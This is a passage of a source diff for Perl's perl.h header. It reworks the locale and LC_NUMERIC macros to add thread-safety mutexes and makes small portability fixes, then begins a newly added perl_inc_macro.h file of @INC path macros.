-#   define IN_LC_ALL_RUNTIME       IN_LOCALE_RUNTIME
-
-#   define IN_LC_PARTIAL_COMPILETIME   cBOOL(PL_hints & HINT_LOCALE_PARTIAL)
-#   define IN_LC_PARTIAL_RUNTIME  \
-               (PL_curcop && CopHINTS_get(PL_curcop) & HINT_LOCALE_PARTIAL)
-
-#   define IN_LC_COMPILETIME(category)                                       \
-       (IN_LC_ALL_COMPILETIME || (IN_LC_PARTIAL_COMPILETIME                  \
-                                  && _is_in_locale_category(TRUE, (category))))
-#   define IN_LC_RUNTIME(category)                                           \
-       (IN_LC_ALL_RUNTIME || (IN_LC_PARTIAL_RUNTIME                          \
-                              && _is_in_locale_category(FALSE, (category))))
-#   define IN_LC(category)  \
+#  define IN_LC_COMPILETIME(category)                                       \
+       (       IN_LC_ALL_COMPILETIME                                        \
+        || (   IN_LC_PARTIAL_COMPILETIME                                    \
+            && Perl__is_in_locale_category(aTHX_ TRUE, (category))))
+#  define IN_LC_RUNTIME(category)                                           \
+      (IN_LC_ALL_RUNTIME || (IN_LC_PARTIAL_RUNTIME                          \
+                 && Perl__is_in_locale_category(aTHX_ FALSE, (category))))
+#  define IN_LC(category)  \
                     (IN_LC_COMPILETIME(category) || IN_LC_RUNTIME(category))
 
-#   if defined (PERL_CORE) || defined (PERL_IN_XSUB_RE)
+#  if defined (PERL_CORE) || defined (PERL_IN_XSUB_RE)
 
-        /* This internal macro should be called from places that operate under
-         * locale rules.  It there is a problem with the current locale that
-         * hasn't been raised yet, it will output a warning this time.  Because
-         * this will so rarely  be true, there is no point to optimize for
-         * time; instead it makes sense to minimize space used and do all the
-         * work in the rarely called function */
-#       ifdef USE_LOCALE_CTYPE
-#           define _CHECK_AND_WARN_PROBLEMATIC_LOCALE                         \
+     /* This internal macro should be called from places that operate under
+      * locale rules.  It there is a problem with the current locale that
+      * hasn't been raised yet, it will output a warning this time.  Because
+      * this will so rarely  be true, there is no point to optimize for time;
+      * instead it makes sense to minimize space used and do all the work in
+      * the rarely called function */
+#    ifdef USE_LOCALE_CTYPE
+#      define _CHECK_AND_WARN_PROBLEMATIC_LOCALE                              \
                 STMT_START {                                                  \
                     if (UNLIKELY(PL_warn_locale)) {                           \
-                        _warn_problematic_locale();                           \
+                        Perl__warn_problematic_locale();                      \
                     }                                                         \
                 }  STMT_END
-#       else
-#           define _CHECK_AND_WARN_PROBLEMATIC_LOCALE
-#       endif
+#    else
+#      define _CHECK_AND_WARN_PROBLEMATIC_LOCALE
+#    endif
 
 
-    /* These two internal macros are called when a warning should be raised,
-     * and will do so if enabled.  The first takes a single code point
-     * argument; the 2nd, is a pointer to the first byte of the UTF-8 encoded
-     * string, and an end position which it won't try to read past */
-#   define _CHECK_AND_OUTPUT_WIDE_LOCALE_CP_MSG(cp)                         \
+     /* These two internal macros are called when a warning should be raised,
+      * and will do so if enabled.  The first takes a single code point
+      * argument; the 2nd, is a pointer to the first byte of the UTF-8 encoded
+      * string, and an end position which it won't try to read past */
+#    define _CHECK_AND_OUTPUT_WIDE_LOCALE_CP_MSG(cp)                        \
 	STMT_START {                                                        \
             if (! PL_in_utf8_CTYPE_locale && ckWARN(WARN_LOCALE)) {         \
                 Perl_warner(aTHX_ packWARN(WARN_LOCALE),                    \
@@ -5977,7 +5628,7 @@
             }                                                               \
         }  STMT_END
 
-#  define _CHECK_AND_OUTPUT_WIDE_LOCALE_UTF8_MSG(s, send)                   \
+#    define _CHECK_AND_OUTPUT_WIDE_LOCALE_UTF8_MSG(s, send)                 \
 	STMT_START { /* Check if to warn before doing the conversion work */\
             if (! PL_in_utf8_CTYPE_locale && ckWARN(WARN_LOCALE)) {         \
                 UV cp = utf8_to_uvchr_buf((U8 *) s, (U8 *) send, NULL);     \
@@ -5990,50 +5641,181 @@
             }                                                               \
         }  STMT_END
 
-#   endif   /* PERL_CORE or PERL_IN_XSUB_RE */
+#  endif   /* PERL_CORE or PERL_IN_XSUB_RE */
+#else   /* No locale usage */
+#  define IN_LOCALE_RUNTIME                0
+#  define IN_SOME_LOCALE_FORM_RUNTIME      0
+#  define IN_LOCALE_COMPILETIME            0
+#  define IN_SOME_LOCALE_FORM_COMPILETIME  0
+#  define IN_LOCALE                        0
+#  define IN_SOME_LOCALE_FORM              0
+#  define IN_LC_ALL_COMPILETIME            0
+#  define IN_LC_ALL_RUNTIME                0
+#  define IN_LC_PARTIAL_COMPILETIME        0
+#  define IN_LC_PARTIAL_RUNTIME            0
+#  define IN_LC_COMPILETIME(category)      0
+#  define IN_LC_RUNTIME(category)          0
+#  define IN_LC(category)                  0
+#endif
 
-#if      defined(USE_ITHREADS)              \
-    &&   defined(HAS_NEWLOCALE)             \
-    &&   defined(LC_ALL_MASK)               \
-    &&   defined(HAS_FREELOCALE)            \
-    &&   defined(HAS_USELOCALE)             \
-    && ! defined(NO_THREAD_SAFE_USELOCALE)
 
-    /* The code is written for simplicity to assume that any platform advanced
-     * enough to have the Posix 2008 locale functions has LC_ALL.  The test
-     * above makes sure that assumption is valid */
+/* Locale/thread synchronization macros.  These aren't needed if using
+ * thread-safe locale operations, except if something is broken */
+#if    defined(USE_LOCALE)                                                  \
+ &&    defined(USE_ITHREADS)                                                \
+ && (! defined(USE_THREAD_SAFE_LOCALE) || defined(TS_W32_BROKEN_LOCALECONV))
 
-#   define USE_THREAD_SAFE_LOCALE
-#endif
+/* We have a locale object holding the 'C' locale for Posix 2008 */
+#ifndef USE_POSIX_2008_LOCALE
+#    define _LOCALE_TERM_POSIX_2008  NOOP
+#  else
+#    define _LOCALE_TERM_POSIX_2008                                         \
+                    STMT_START {                                            \
+                        if (PL_C_locale_obj) {                              \
+                            /* Make sure we aren't using the locale         \
+                             * space we are about to free */                \
+                            uselocale(LC_GLOBAL_LOCALE);                    \
+                            freelocale(PL_C_locale_obj);                    \
+                            PL_C_locale_obj = (locale_t) NULL;              \
+                        }                                                   \
+                    } STMT_END
+#  endif
 
-#else   /* No locale usage */
-#   define LOCALE_INIT
-#   define LOCALE_TERM
-#   define LOCALE_LOCK
-#   define LOCALE_UNLOCK
-#   define IN_LOCALE_RUNTIME                0
-#   define IN_SOME_LOCALE_FORM_RUNTIME      0
-#   define IN_LOCALE_COMPILETIME            0
-#   define IN_SOME_LOCALE_FORM_COMPILETIME  0
-#   define IN_LOCALE                        0
-#   define IN_SOME_LOCALE_FORM              0
-#   define IN_LC_ALL_COMPILETIME            0
-#   define IN_LC_ALL_RUNTIME                0
-#   define IN_LC_PARTIAL_COMPILETIME        0
-#   define IN_LC_PARTIAL_RUNTIME            0
-#   define IN_LC_COMPILETIME(category)      0
-#   define IN_LC_RUNTIME(category)          0
-#   define IN_LC(category)                  0
+/* This is used as a generic lock for locale operations.  For example this is
+ * used when calling nl_langinfo() so that another thread won't zap the
+ * contents of its buffer before it gets saved; and it's called when changing
+ * the locale of LC_MESSAGES.  On some systems the latter can cause the
+ * nl_langinfo buffer to be zapped under a race condition.
+ *
+ * If combined with LC_NUMERIC_LOCK, calls to this and its corresponding unlock
+ * should be contained entirely within the locked portion of LC_NUMERIC.  This
+ * mutex should be used only in very short sections of code, while
+ * LC_NUMERIC_LOCK may span more operations.  By always following this
+ * convention, deadlock should be impossible.  But if necessary, the two
+ * mutexes could be combined.
+ *
+ * Actually, the two macros just below with the '_V' suffixes are used in just
+ * a few places where there is a broken localeconv(), but otherwise things are
+ * thread safe, and hence don't need locking.  Just below LOCALE_LOCK and
+ * LOCALE_UNLOCK are defined in terms of these for use everywhere else */
+#  define LOCALE_LOCK_V                                                     \
+        STMT_START {                                                        \
+            DEBUG_Lv(PerlIO_printf(Perl_debug_log,                          \
+                    "%s: %d: locking locale\n", __FILE__, __LINE__));       \
+            MUTEX_LOCK(&PL_locale_mutex);                                   \
+        } STMT_END
+#  define LOCALE_UNLOCK_V                                                   \
+        STMT_START {                                                        \
+            DEBUG_Lv(PerlIO_printf(Perl_debug_log,                          \
+                   "%s: %d: unlocking locale\n", __FILE__, __LINE__));      \
+            MUTEX_UNLOCK(&PL_locale_mutex);                                 \
+        } STMT_END
 
-#   define _CHECK_AND_WARN_PROBLEMATIC_LOCALE
-#   define _CHECK_AND_OUTPUT_WIDE_LOCALE_CP_MSG(a)
-#   define _CHECK_AND_OUTPUT_WIDE_LOCALE_UTF8_MSG(a,b)
+/* On windows, we just need the mutex for LOCALE_LOCK */
+#  ifdef TS_W32_BROKEN_LOCALECONV
+#    define LOCALE_LOCK     NOOP
+#    define LOCALE_UNLOCK   NOOP
+#    define LOCALE_INIT     MUTEX_INIT(&PL_locale_mutex);
+#    define LOCALE_TERM     MUTEX_DESTROY(&PL_locale_mutex)
+#    define LC_NUMERIC_LOCK(cond)
+#    define LC_NUMERIC_UNLOCK
+#  else
+#    define LOCALE_LOCK     LOCALE_LOCK_V
+#    define LOCALE_UNLOCK   LOCALE_UNLOCK_V
+
+     /* We also need to lock LC_NUMERIC for non-windows (hence Posix 2008)
+      * systems */
+#    define LOCALE_INIT          STMT_START {                               \
+                                    MUTEX_INIT(&PL_locale_mutex);           \
+                                    MUTEX_INIT(&PL_lc_numeric_mutex);       \
+                                } STMT_END
+
+#    define LOCALE_TERM         STMT_START {                                \
+                                    MUTEX_DESTROY(&PL_locale_mutex);        \
+                                    MUTEX_DESTROY(&PL_lc_numeric_mutex);    \
+                                    _LOCALE_TERM_POSIX_2008;                \
+                                } STMT_END
+
+    /* This mutex is used to create critical sections where we want the
+     * LC_NUMERIC locale to be locked into either the C (standard) locale, or
+     * the underlying locale, so that other threads interrupting this one don't
+     * change it to the wrong state before we've had a chance to complete our
+     * operation.  It can stay locked over an entire printf operation, for
+     * example.  And so is made distinct from the LOCALE_LOCK mutex.
+     *
+     * This simulates kind of a general semaphore.  The current thread will
+     * lock the mutex if the per-thread variable is zero, and then increments
+     * that variable.  Each corresponding UNLOCK decrements the variable until
+     * it is 0, at which point it actually unlocks the mutex.  Since the
+     * variable is per-thread, there is no race with other threads.
+     *
+     * The single argument is a condition to test for, and if true, to panic,
+     * as this would be an attempt to complement the LC_NUMERIC state, and
+     * we're not supposed to because it's locked.
+     *
+     * Clang improperly gives warnings for this, if not silenced:
+     * https://clang.llvm.org/docs/ThreadSafetyAnalysis.html#conditional-locks
+     * */
+#    define LC_NUMERIC_LOCK(cond_to_panic_if_already_locked)                \
+        CLANG_DIAG_IGNORE(-Wthread-safety)	     	                    \
+        STMT_START {                                                        \
+            if (PL_lc_numeric_mutex_depth <= 0) {                           \
+                MUTEX_LOCK(&PL_lc_numeric_mutex);                           \
+                PL_lc_numeric_mutex_depth = 1;                              \
+                DEBUG_Lv(PerlIO_printf(Perl_debug_log,                      \
+                         "%s: %d: locking lc_numeric; depth=1\n",           \
+                         __FILE__, __LINE__));                              \
+            }                                                               \
+            else {                                                          \
+                PL_lc_numeric_mutex_depth++;                                \
+                DEBUG_Lv(PerlIO_printf(Perl_debug_log,                      \
+                        "%s: %d: avoided lc_numeric_lock; depth=%d\n",      \
+                        __FILE__, __LINE__, PL_lc_numeric_mutex_depth));    \
+                if (cond_to_panic_if_already_locked) {                      \
+                    Perl_croak_nocontext("panic: %s: %d: Trying to change"  \
+                                         " LC_NUMERIC incompatibly",        \
+                                         __FILE__, __LINE__);               \
+                }                                                           \
+            }                                                               \
+        } STMT_END
+
+#    define LC_NUMERIC_UNLOCK                                               \
+        STMT_START {                                                        \
+            if (PL_lc_numeric_mutex_depth <= 1) {                           \
+                MUTEX_UNLOCK(&PL_lc_numeric_mutex);                         \
+                PL_lc_numeric_mutex_depth = 0;                              \
+                DEBUG_Lv(PerlIO_printf(Perl_debug_log,                      \
+                         "%s: %d: unlocking lc_numeric; depth=0\n",         \
+                         __FILE__, __LINE__));                              \
+            }                                                               \
+            else {                                                          \
+                PL_lc_numeric_mutex_depth--;                                \
+                DEBUG_Lv(PerlIO_printf(Perl_debug_log,                      \
+                        "%s: %d: avoided lc_numeric_unlock; depth=%d\n",    \
+                        __FILE__, __LINE__, PL_lc_numeric_mutex_depth));    \
+            }                                                               \
+        } STMT_END                                                          \
+        CLANG_DIAG_RESTORE
+
+#  endif    /* End of needs locking LC_NUMERIC */
+#else   /* Below is no locale sync needed */
+#  define LOCALE_INIT
+#  define LOCALE_LOCK
+#  define LOCALE_LOCK_V
+#  define LOCALE_UNLOCK
+#  define LOCALE_UNLOCK_V
+#  define LC_NUMERIC_LOCK(cond)
+#  define LC_NUMERIC_UNLOCK
+#  define LOCALE_TERM
 #endif
 
 #ifdef USE_LOCALE_NUMERIC
 
 /* These macros are for toggling between the underlying locale (UNDERLYING or
- * LOCAL) and the C locale (STANDARD).
+ * LOCAL) and the C locale (STANDARD).  (Actually we don't have to use the C
+ * locale if the underlying locale is indistinguishable from it in the numeric
+ * operations used by Perl, namely the decimal point, and even the thousands
+ * separator.)
 
 =head1 Locale-related functions and macros
 
@@ -6071,12 +5853,17 @@
 The private variable is used to save the current locale state, so
 that the requisite matching call to L</RESTORE_LC_NUMERIC> can restore it.
 
+On threaded perls not operating with thread-safe functionality, this macro uses
+a mutex to force a critical section.  Therefore the matching RESTORE should be
+close by, and guaranteed to be called.
+
 =for apidoc Am|void|STORE_LC_NUMERIC_SET_TO_NEEDED
 
-This is used to help wrap XS or C code that that is C<LC_NUMERIC> locale-aware.
-This locale category is generally kept set to the C locale by Perl for
-backwards compatibility, and because most XS code that reads floating point
-values can cope only with the decimal radix character being a dot.
+This is used to help wrap XS or C code that is C<LC_NUMERIC> locale-aware.
+This locale category is generally kept set to a locale where the decimal radix
+character is a dot, and the separator between groups of digits is empty.  This
+is because most XS code that reads floating point numbers is expecting them to
+have this syntax.
 
 This macro makes sure the current C<LC_NUMERIC> state is set properly, to be
 aware of locale if the call to the XS or C code from the Perl program is
@@ -6101,15 +5888,17 @@
      ...
  }
 
+On threaded perls not operating with thread-safe functionality, this macro uses
+a mutex to force a critical section.  Therefore the matching RESTORE should be
+close by, and guaranteed to be called.
+
 =for apidoc Am|void|RESTORE_LC_NUMERIC
 
 This is used in conjunction with one of the macros
 L</STORE_LC_NUMERIC_SET_TO_NEEDED>
-and
-L</STORE_LC_NUMERIC_FORCE_TO_UNDERLYING>
+and L</STORE_LC_NUMERIC_FORCE_TO_UNDERLYING> to properly restore the
+C<LC_NUMERIC> state.
 
-to properly restore the C<LC_NUMERIC> state.
-
 A call to L</DECLARATION_FOR_LC_NUMERIC_MANIPULATION> must have been made to
 declare at compile time a private variable used by this macro and the two
 C<STORE> ones.  This macro should be called as a single statement, not an
@@ -6126,124 +5915,141 @@
 
 */
 
-#define _NOT_IN_NUMERIC_STANDARD (! PL_numeric_standard)
+/* If the underlying numeric locale has a non-dot decimal point or has a
+ * non-empty floating point thousands separator, the current locale is instead
+ * generally kept in the C locale instead of that underlying locale.  The
+ * current status is known by looking at two words.  One is non-zero if the
+ * current numeric locale is the standard C/POSIX one or is indistinguishable
+ * from C.  The other is non-zero if the current locale is the underlying
+ * locale.  Both can be non-zero if, as often happens, the underlying locale is
+ * C or indistinguishable from it.
+ *
+ * khw believes the reason for the variables instead of the bits in a single
+ * word is to avoid having to have masking instructions. */
 
+#  define _NOT_IN_NUMERIC_STANDARD (! PL_numeric_standard)
+
 /* We can lock the category to stay in the C locale, making requests to the
  * contrary be noops, in the dynamic scope by setting PL_numeric_standard to 2.
  * */
-#define _NOT_IN_NUMERIC_UNDERLYING                                          \
-                        (! PL_numeric_local && PL_numeric_standard < 2)
+#  define _NOT_IN_NUMERIC_UNDERLYING                                        \
+                    (! PL_numeric_underlying && PL_numeric_standard < 2)
 
-#define DECLARATION_FOR_LC_NUMERIC_MANIPULATION                             \
+#  define DECLARATION_FOR_LC_NUMERIC_MANIPULATION                           \
     void (*_restore_LC_NUMERIC_function)(pTHX) = NULL
 
-#define STORE_LC_NUMERIC_SET_TO_NEEDED()                                    \
-    if (IN_LC(LC_NUMERIC)) {                                                \
-        if (_NOT_IN_NUMERIC_UNDERLYING) {                                   \
-            set_numeric_local();                                            \
-            _restore_LC_NUMERIC_function = &Perl_set_numeric_standard;      \
-        }                                                                   \
-    }                                                                       \
-    else {                                                                  \
-        if (_NOT_IN_NUMERIC_STANDARD) {                                     \
-            SET_NUMERIC_STANDARD();                                         \
-            _restore_LC_NUMERIC_function = &Perl_set_numeric_local;         \
-        }                                                                   \
-    }
+#  define STORE_LC_NUMERIC_SET_TO_NEEDED()                                  \
+        STMT_START {                                                        \
+            LC_NUMERIC_LOCK(                                                \
+                          (IN_LC(LC_NUMERIC) && _NOT_IN_NUMERIC_UNDERLYING) \
+                      || _NOT_IN_NUMERIC_STANDARD);                         \
+            if (IN_LC(LC_NUMERIC)) {                                        \
+                if (_NOT_IN_NUMERIC_UNDERLYING) {                           \
+                    Perl_set_numeric_underlying(aTHX);                      \
+                    _restore_LC_NUMERIC_function                            \
+                                            = &Perl_set_numeric_standard;   \
+                }                                                           \
+            }                                                               \
+            else {                                                          \
+                if (_NOT_IN_NUMERIC_STANDARD) {                             \
+                    Perl_set_numeric_standard(aTHX);                        \
+                    _restore_LC_NUMERIC_function                            \
+                                            = &Perl_set_numeric_underlying; \
+                }                                                           \
+            }                                                               \
+        } STMT_END
 
-#define RESTORE_LC_NUMERIC()                                                \
-    if (_restore_LC_NUMERIC_function) {                                     \
-        _restore_LC_NUMERIC_function(aTHX);                                 \
-    }
+#  define RESTORE_LC_NUMERIC()                                              \
+        STMT_START {                                                        \
+            if (_restore_LC_NUMERIC_function) {                             \
+                _restore_LC_NUMERIC_function(aTHX);                         \
+            }                                                               \
+            LC_NUMERIC_UNLOCK;                                              \
+        } STMT_END
 
 /* The next two macros set unconditionally.  These should be rarely used, and
  * only after being sure that this is what is needed */
-#define SET_NUMERIC_STANDARD()                                              \
-	STMT_START { if (_NOT_IN_NUMERIC_STANDARD) set_numeric_standard();  \
-                                                                 } STMT_END
+#  define SET_NUMERIC_STANDARD()                                            \
+	STMT_START {                                                        \
+            DEBUG_Lv(PerlIO_printf(Perl_debug_log,                          \
+                               "%s: %d: lc_numeric standard=%d\n",          \
+                                __FILE__, __LINE__, PL_numeric_standard));  \
+            Perl_set_numeric_standard(aTHX);                                \
+            DEBUG_Lv(PerlIO_printf(Perl_debug_log,                          \
+                                 "%s: %d: lc_numeric standard=%d\n",        \
+                                 __FILE__, __LINE__, PL_numeric_standard)); \
+        } STMT_END
 
-#define SET_NUMERIC_UNDERLYING()                                            \
-	STMT_START { if (_NOT_IN_NUMERIC_UNDERLYING)                        \
-                                            set_numeric_local(); } STMT_END
+#  define SET_NUMERIC_UNDERLYING()                                          \
+	STMT_START {                                                        \
+            if (_NOT_IN_NUMERIC_UNDERLYING) {                               \
+                Perl_set_numeric_underlying(aTHX);                          \
+            }                                                               \
+        } STMT_END
 
 /* The rest of these LC_NUMERIC macros toggle to one or the other state, with
  * the RESTORE_foo ones called to switch back, but only if need be */
-#define STORE_LC_NUMERIC_UNDERLYING_SET_STANDARD()                          \
-	bool _was_local = _NOT_IN_NUMERIC_STANDARD;                         \
-	if (_was_local) set_numeric_standard();
+#  define STORE_LC_NUMERIC_SET_STANDARD()                                   \
+        STMT_START {                                                        \
+            LC_NUMERIC_LOCK(_NOT_IN_NUMERIC_STANDARD);                      \
+            if (_NOT_IN_NUMERIC_STANDARD) {                                 \
+                _restore_LC_NUMERIC_function = &Perl_set_numeric_underlying;\
+                Perl_set_numeric_standard(aTHX);                            \
+            }                                                               \
+        } STMT_END
 
-/* Doesn't change to underlying locale unless within the scope of some form of
- * 'use locale'.  This is the usual desired behavior. */
-#define STORE_LC_NUMERIC_STANDARD_SET_UNDERLYING()                          \
-	bool _was_standard = _NOT_IN_NUMERIC_UNDERLYING                     \
-                            && IN_LC(LC_NUMERIC);                           \
-	if (_was_standard) set_numeric_local();
-
 /* Rarely, we want to change to the underlying locale even outside of 'use
  * locale'.  This is principally in the POSIX:: functions */
-#define STORE_LC_NUMERIC_FORCE_TO_UNDERLYING()                              \
-    if (_NOT_IN_NUMERIC_UNDERLYING) {                                       \
-        set_numeric_local();                                                \
-        _restore_LC_NUMERIC_function = &Perl_set_numeric_standard;          \
-    }
+#  define STORE_LC_NUMERIC_FORCE_TO_UNDERLYING()                            \
+	STMT_START {                                                        \
+            LC_NUMERIC_LOCK(_NOT_IN_NUMERIC_UNDERLYING);                    \
+            if (_NOT_IN_NUMERIC_UNDERLYING) {                               \
+                Perl_set_numeric_underlying(aTHX);                          \
+                _restore_LC_NUMERIC_function = &Perl_set_numeric_standard;  \
+            }                                                               \
+        } STMT_END
 
-/* Lock to the C locale until unlock is called */
-#define LOCK_LC_NUMERIC_STANDARD()                          \
-        (__ASSERT_(PL_numeric_standard)                     \
-        PL_numeric_standard = 2)
+/* Lock/unlock to the C locale until unlock is called.  This needs to be
+ * recursively callable.  [perl #128207] */
+#  define LOCK_LC_NUMERIC_STANDARD()                                        \
+        STMT_START {                                                        \
+            DEBUG_Lv(PerlIO_printf(Perl_debug_log,                          \
+                      "%s: %d: lock lc_numeric_standard: new depth=%d\n",   \
+                      __FILE__, __LINE__, PL_numeric_standard + 1));        \
+            __ASSERT_(PL_numeric_standard)                                  \
+            PL_numeric_standard++;                                          \
+        } STMT_END
 
-#define UNLOCK_LC_NUMERIC_STANDARD()                        \
-        (__ASSERT_(PL_numeric_standard == 2)                \
-        PL_numeric_standard = 1)
+#  define UNLOCK_LC_NUMERIC_STANDARD()                                      \
+        STMT_START {                                                        \
+            if (PL_numeric_standard > 1) {                                  \
+                PL_numeric_standard--;                                      \
+            }                                                               \
+            else {                                                          \
+                assert(0);                                                  \
+            }                                                               \
+            DEBUG_Lv(PerlIO_printf(Perl_debug_log,                          \
+            "%s: %d: lc_numeric_standard decrement lock, new depth=%d\n",   \
+            __FILE__, __LINE__, PL_numeric_standard));                      \
+        } STMT_END
 
-#define RESTORE_LC_NUMERIC_UNDERLYING()                     \
-	if (_was_local) set_numeric_local();
-
-#define RESTORE_LC_NUMERIC_STANDARD()                       \
-    if (_restore_LC_NUMERIC_function) {                     \
-        _restore_LC_NUMERIC_function(aTHX);                 \
-    }
-
 #else /* !USE_LOCALE_NUMERIC */
 
-#define SET_NUMERIC_STANDARD()
-#define SET_NUMERIC_UNDERLYING()
-#define IS_NUMERIC_RADIX(a, b)		(0)
-#define STORE_LC_NUMERIC_UNDERLYING_SET_STANDARD()
-#define STORE_LC_NUMERIC_STANDARD_SET_UNDERLYING()
-#define STORE_LC_NUMERIC_FORCE_TO_UNDERLYING()
-#define RESTORE_LC_NUMERIC_UNDERLYING()
-#define RESTORE_LC_NUMERIC_STANDARD()
-#define DECLARATION_FOR_LC_NUMERIC_MANIPULATION
-#define STORE_LC_NUMERIC_SET_TO_NEEDED()
-#define RESTORE_LC_NUMERIC()
-#define LOCK_LC_NUMERIC_STANDARD()
-#define UNLOCK_LC_NUMERIC_STANDARD()
+#  define SET_NUMERIC_STANDARD()
+#  define SET_NUMERIC_UNDERLYING()
+#  define IS_NUMERIC_RADIX(a, b)		(0)
+#  define DECLARATION_FOR_LC_NUMERIC_MANIPULATION
+#  define STORE_LC_NUMERIC_SET_STANDARD()
+#  define STORE_LC_NUMERIC_FORCE_TO_UNDERLYING()
+#  define STORE_LC_NUMERIC_SET_TO_NEEDED()
+#  define RESTORE_LC_NUMERIC()
+#  define LOCK_LC_NUMERIC_STANDARD()
+#  define UNLOCK_LC_NUMERIC_STANDARD()
 
 #endif /* !USE_LOCALE_NUMERIC */
 
 #define Atof				my_atof
 
-/* Back-compat names */
-#define DECLARATION_FOR_STORE_LC_NUMERIC_SET_TO_NEEDED              \
-                        DECLARATION_FOR_LC_NUMERIC_MANIPULATION
-#define DECLARE_STORE_LC_NUMERIC_SET_TO_NEEDED()                    \
-                DECLARATION_FOR_STORE_LC_NUMERIC_SET_TO_NEEDED;     \
-                STORE_LC_NUMERIC_SET_TO_NEEDED();
-#define LOCK_NUMERIC_STANDARD() LOCK_LC_NUMERIC_STANDARD()
-#define RESTORE_NUMERIC_LOCAL() RESTORE_LC_NUMERIC_UNDERLYING()
-#define RESTORE_NUMERIC_STANDARD() RESTORE_LC_NUMERIC_STANDARD()
-#define SET_NUMERIC_LOCAL() SET_NUMERIC_UNDERLYING()
-#define STORE_NUMERIC_LOCAL_SET_STANDARD()                          \
-                    STORE_LC_NUMERIC_UNDERLYING_SET_STANDARD()
-#define STORE_NUMERIC_STANDARD_SET_LOCAL()                          \
-                    STORE_LC_NUMERIC_STANDARD_SET_UNDERLYING()
-#define STORE_NUMERIC_STANDARD_FORCE_LOCAL()                        \
-                        STORE_LC_NUMERIC_FORCE_TO_UNDERLYING()
-#define UNLOCK_NUMERIC_STANDARD() UNLOCK_LC_NUMERIC_STANDARD()
-
-
-
 #ifdef USE_QUADMATH
 #  define Perl_strtod(s, e) strtoflt128(s, e)
 #elif defined(HAS_LONG_DOUBLE) && defined(USE_LONG_DOUBLE)
@@ -6261,7 +6067,7 @@
 #    ifdef __hpux
 #        define strtoll __strtoll	/* secret handshake */
 #    endif
-#    ifdef WIN64
+#    if defined(WIN64) && defined(_MSC_VER)
 #        define strtoll _strtoi64	/* secret handshake */
 #    endif
 #   if !defined(Strtol) && defined(HAS_STRTOLL)
@@ -6295,7 +6101,7 @@
 #    ifdef __hpux
 #        define strtoull __strtoull	/* secret handshake */
 #    endif
-#    ifdef WIN64
+#    if defined(WIN64) && defined(_MSC_VER)
 #        define strtoull _strtoui64	/* secret handshake */
 #    endif
 #    if !defined(Strtoul) && defined(HAS_STRTOULL)
@@ -6371,14 +6177,12 @@
 #           define semun gccbug_semun
 #	endif
 #       define Semctl(id, num, cmd, semun) semctl(id, num, cmd, semun)
-#   else
-#       ifdef USE_SEMCTL_SEMID_DS
+#   elif defined(USE_SEMCTL_SEMID_DS)
 #           ifdef EXTRA_F_IN_SEMUN_BUF
 #               define Semctl(id, num, cmd, semun) semctl(id, num, cmd, semun.buff)
 #           else
 #               define Semctl(id, num, cmd, semun) semctl(id, num, cmd, semun.buf)
 #           endif
-#       endif
 #   endif
 #endif
 
@@ -6867,6 +6671,26 @@
 #  endif
 #endif
 
+/* We have somehow managed not to define the denormal/subnormal
+ * detection.
+ *
+ * This may happen if the compiler doesn't expose the C99 math like
+ * the fpclassify() without some special switches.  Perl tries to
+ * stay C89, so for example -std=c99 is not an option.
+ *
+ * The Perl_isinf() and Perl_isnan() should have been defined even if
+ * the C99 isinf() and isnan() are unavailable, and the NV_MIN becomes
+ * from the C89 DBL_MIN or moral equivalent. */
+#if !defined(Perl_fp_class_denorm) && defined(Perl_isinf) && defined(Perl_isnan) && defined(NV_MIN)
+#  define Perl_fp_class_denorm(x) ((x) != 0.0 && !Perl_isinf(x) && !Perl_isnan(x) && PERL_ABS(x) < NV_MIN)
+#endif
+
+/* This is not a great fallback: subnormals tests will fail,
+ * but at least Perl will link and 99.999% of tests will work. */
+#if !defined(Perl_fp_class_denorm)
+#  define Perl_fp_class_denorm(x) FALSE
+#endif
+
 #ifdef DOUBLE_IS_IEEE_FORMAT
 #  define DOUBLE_HAS_INF
 #  define DOUBLE_HAS_NAN
@@ -6874,6 +6698,8 @@
 
 #ifdef DOUBLE_HAS_NAN
 
+START_EXTERN_C
+
 #ifdef DOINIT
 
 /* PL_inf and PL_nan initialization.
@@ -6899,7 +6725,7 @@
  */
 
 /* The quadmath literals are anon structs which -Wc++-compat doesn't like. */
-GCC_DIAG_IGNORE(-Wc++-compat)
+GCC_DIAG_IGNORE_DECL(-Wc++-compat);
 
 #  ifdef USE_QUADMATH
 /* Cannot use HUGE_VALQ for PL_inf because not a compile-time
@@ -6969,7 +6795,7 @@
 #    endif
 #  endif
 
-GCC_DIAG_RESTORE
+GCC_DIAG_RESTORE_DECL;
 
 #else
 
@@ -6978,6 +6804,8 @@
 
 #endif
 
+END_EXTERN_C
+
 /* If you have not defined NV_INF/NV_NAN (like for example win32/win32.h),
  * we will define NV_INF/NV_NAN as the nv part of the global const
  * PL_inf/PL_nan.  Note, however, that the preexisting NV_INF/NV_NAN

Added: vendor/perl/dist/perl_inc_macro.h
===================================================================
--- vendor/perl/dist/perl_inc_macro.h	                        (rev 0)
+++ vendor/perl/dist/perl_inc_macro.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,193 @@
+/* just define a list of macros to push elements in INC
+*  so we can easily use them and change order on demand
+*
+* list of available INCPUSH macros
+* - INCPUSH_APPLLIB_EXP
+* - INCPUSH_SITEARCH_EXP
+* - INCPUSH_SITELIB_EXP
+* - INCPUSH_PERL_VENDORARCH_EXP
+* - INCPUSH_PERL_VENDORLIB_EXP
+* - INCPUSH_ARCHLIB_EXP
+* - INCPUSH_PRIVLIB_EXP
+* - INCPUSH_PERL_OTHERLIBDIRS
+* - INCPUSH_PERL5LIB
+* - INCPUSH_APPLLIB_OLD_EXP
+* - INCPUSH_SITELIB_STEM
+* - INCPUSH_PERL_VENDORLIB_STEM
+* - INCPUSH_PERL_OTHERLIBDIRS_ARCHONLY
+*/
+
+#ifndef DEFINE_INC_MACROS
+
+/* protect against multiple inclusions */
+#define DEFINE_INC_MACROS 1
+
+#ifdef APPLLIB_EXP
+#	define INCPUSH_APPLLIB_EXP  S_incpush_use_sep(aTHX_ STR_WITH_LEN(APPLLIB_EXP), \
+		      INCPUSH_ADD_SUB_DIRS|INCPUSH_CAN_RELOCATE);
+#endif
+
+#ifdef SITEARCH_EXP
+    /* sitearch is always relative to sitelib on Windows for
+     * DLL-based path intuition to work correctly */
+#  if !defined(WIN32)
+#	define INCPUSH_SITEARCH_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(SITEARCH_EXP), \
+			  INCPUSH_CAN_RELOCATE);
+#  endif
+#endif
+
+#ifdef SITELIB_EXP
+#  if defined(WIN32)
